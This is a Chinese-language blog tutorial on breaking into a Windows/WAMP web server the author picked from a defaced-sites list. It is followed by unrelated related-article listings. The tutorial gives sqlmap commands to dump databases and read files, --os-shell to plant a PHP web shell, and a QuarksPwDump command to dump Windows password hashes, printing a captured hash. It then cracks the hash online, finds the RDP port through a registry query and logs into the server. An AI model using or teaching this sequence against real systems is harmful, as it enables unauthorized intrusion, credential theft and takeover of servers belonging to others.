win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)
今天在来一个mysql提权 (也可以说是默认system权限提的)
在被黑站点找到一个站
先教拿shell
是有注入漏洞的 有可能是root权限的注入点
可以确定是有注入漏洞的 也得到了 物理路径 这个是很有用的 如果是root权限的注入点 那我们可以考虑 写shell
D:\wamp\www\js\content.php 有时候物理路径是很有用的
上sqlmap注入 使用命令 这个是mysql数据库的
sqlmap.py -u 注入点 --current-user # /*获取当前用户名称
sqlmap.py -u 注入点 --current-db # /*获取当前数据库名称
sqlmap.py -u 注入点 -D "数据库名" -T "表名" --tables
sqlmap.py -u 注入点 -D "数据库名" -T "表名" --columns
sqlmap.py -u 注入点 -D "数据库名" -T "表名" -C "字段" --dump
sqlmap.py -u 注入点 --file-read "文件名"#读取文件load_file()
sqlmap.py -u 注入点 --is-dba #是否是数据库管理员
sqlmap.py -u 注入点 --passwords #数据库用户密码
这个是win环境的安装的sqlmap 不是linux环境安装的 使用方法 多了(.py)
好了 看一下是什么权限注入点
sqlmap.py -u 注入点 --current-user # /*获取当前用户名称
如图 我们看到了是什么环境 win + 阿帕奇 注入点是root权限
current user: 'root@localhost'
好了 知道是什么权限了 现在就来写shell 写shell前提条件 (1.必须是root权限 2.必须知道网站路径 3.GPC设置为off 就可以写shell了)
以上3个我们都达到了 至于第三个 因为php默认GPC设置都是为off
D:\wamp\www\js\content.php 物理路径 继续
命令
sqlmap.py -u 注入点 --os-shell
如图
这里 它让你选择木马脚本 这里我们都是用第3个
确认提下两下 刚刚得到的路径D:\wamp\www\js\
之后回车
得到了一个shell js\tmpuyqwq.php
shell 拿到了 现在就是提权了 我有个习惯就是php提权的时候 每次都会使用一下自带的执行命令
我运气太好了 呵呵 当然也可以用mysql提也就是udf (版本5.0的默认导出dll就可以)
好了现在就是添加用户 或者抓哈希值 (我就不提交用户了 抓个哈希值)
使用国外神器 QuarksPwDump.exe 使用命令
路径\quarkspwdump.exe --dump-hash-local --output 路径\1.txt
好了得到 1.txt 也就是哈希值文本
得到这个 然后复制 14EFBCC05C9817DBAAD3B435B51404EE:D8BB76D4A8CE4E34810C1BB045697B45
去http://www.objectif-securite.ch/ophcrack.php这个 网站破解.
得到明文 现在就是找一下远程端口 在此教一个快速找远程端口的方法
使用dns命令
查看终端命令:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
得到这个 0xd3d 有基础的一点知道 就是默认10进制的3389 也就是默认远程端口
不知道也没关系
如图:
ok 3389 登录服务器看看
到此 教程完毕 转载的朋友请联系作者id
如果是sa权限的话 直接执行-os-shell
直接执行cmd 命令就行
win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)的更多相关文章
- win环境下mysql5.6.14的所有变量的默认值
在windows mysql5.6.14 x64版本下my.ini如下: [mysqld] port = 3306 socket = /tmp/mysql.sock basedir=D:/wamp ...
- Win环境下的文件读写
在win环境下,有许多方法可以对文件进行读写操作,如MFC 中的CFile类,及一些开源的项目如QT中的QFile.开源的好得是可以多平台,而MFC只是微软自家的东西,对于想写跨平台的人,最好不用MF ...
- win 环境下 node.js环境变量
在win 环境下 node.js环境变量有两种情况: (1)开发环境(development):开发环境是程序猿们专门用于开发的服务器,配置可以比较随意, 为了开发调试方便,一般打开全部错误报告. ...
- 一步步教你搭建VS环境下用C#写WebDriver脚本
一步步教你搭建VS环境下用C#写WebDriver脚本http://www.automationqa.com/forum.php?mod=viewthread&tid=3529&fro ...
- Win环境下Oracle小数据量数据库的物理备份
Win环境下Oracle小数据量数据库的物理备份 环境:Windows + Oracle 单实例 数据量:小于20G 重点:需要规划好备份的路径,建议备份文件和数据库文件分别存在不同的存储上. 1.开 ...
- 在Win环境下配置java的环境进行开发步骤
1.下载官方JDK,网址如下 http://www.oracle.com/technetwork/java/javase/downloads/index.html
- win环境下安装配置openCV-4.3.0
win环境下安装openCV-4.3.0 首先下载 推荐国内镜像 官网太太太慢了 附上 下载地址 下载之后打开exe解压到目录都是常规操作 环境变量的配置 依次打开到系统变量的path 新建一个路径为 ...
- linux环境下,使用Navicat连接mysql时,提示本地IP无法连接虚拟环境下的mysql解决方案
在Linux环境下,使用Navicat连接mysql时,提示本地IP无法连接虚拟环境下的mysql,提示如下: 而导致连接错误的原因是MYSQL没有开启远程登录权限. 解决方案: 在mysql命令中执 ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
随机推荐
- 多功能电子通讯录(涉及到了双向链表的使用,Linux文件编程等等)
readme.txt //作为一个程序员,我们咋么能不写用户手册呢!MSP的我觉得用户体验是王道,苹果手机的用户体验的确不错!不过WP加油!我去,扯远了!赶紧看我的程序吧! 歡迎使用多功能電子通訊錄 ...
- 打乱数组——shuffle
在学习vue移动端音乐项目时,看到一个打乱数组函数,感觉很有意思就记录一下(意外发现:slice是个有趣的知识点) 原理:遍历数组,(let i = 0; i < _arr.length; i+ ...
- CentOS下安装Redis(转载)
Redis是一个高性能的,开源key-value型数据库.是构建高性能,可扩展的Web应用的完美解决方案,可以内存存储亦可持久化存储.因为要使用跨进程,跨服务级别的数据缓存,在对比多个方案后,决定使用 ...
- [javaSE] 网络编程(TCP-并发上传图片)
客户端: 1.服务端点 2.读取客户端已有的图片数据 3.通过socket输出流将数据发给服务端 4.读取服务端反馈信息 5.关闭 获取Socket对象,new出来,构造参数:String的服务端ip ...
- Bash on windows从14.0升级到ubuntu16.04
升级参考:https://www.zhihu.com/question/49411626 解决中文乱码问题参考:http://www.lofter.com/tag/ubuntu%E5%AD%90%E7 ...
- MVC 中使用kindEditor 图片上传在IE 上进行上传出现的问题
在IE 上使用KindEditor 进行单张图片上传的时候会出现一个下载安全警告,这样将会造成图片上传失败,出现的错误页面:
- 线程(Thread)和异常
线程Thread 实现多线程有两种方式: 1.继承Thread类(本质也是实现Runnable接口的一个实例) Thread类源码 public class Thread implements Run ...
- Oracle数据库基本操作(二) —— 视图、序列、索引、同义词
一.视图(Views)与 同义词 1.视图:实际上是对查询结果集的封装,视图本身不存储任何数据,所有的数据都存放在原来的表中; 在逻辑上可以把视图看作是一张表 2.作用: 封装查询语句,简化复杂的查询 ...
- sql: postgreSQL sql script
SELECT * from pg_class c,pg_attribute a,pg_type t where c.relname='BookKindList' and a.attnum>0 a ...
- BZOJ5068: 友好的生物(状压 贪心)
题意 题目链接 Sol 又是一道神仙题??.. 把绝对值拆开之后状压前面的符号?.. 下界显然,但是上界为啥是对的呀qwq.. #include<bits/stdc++.h> using ...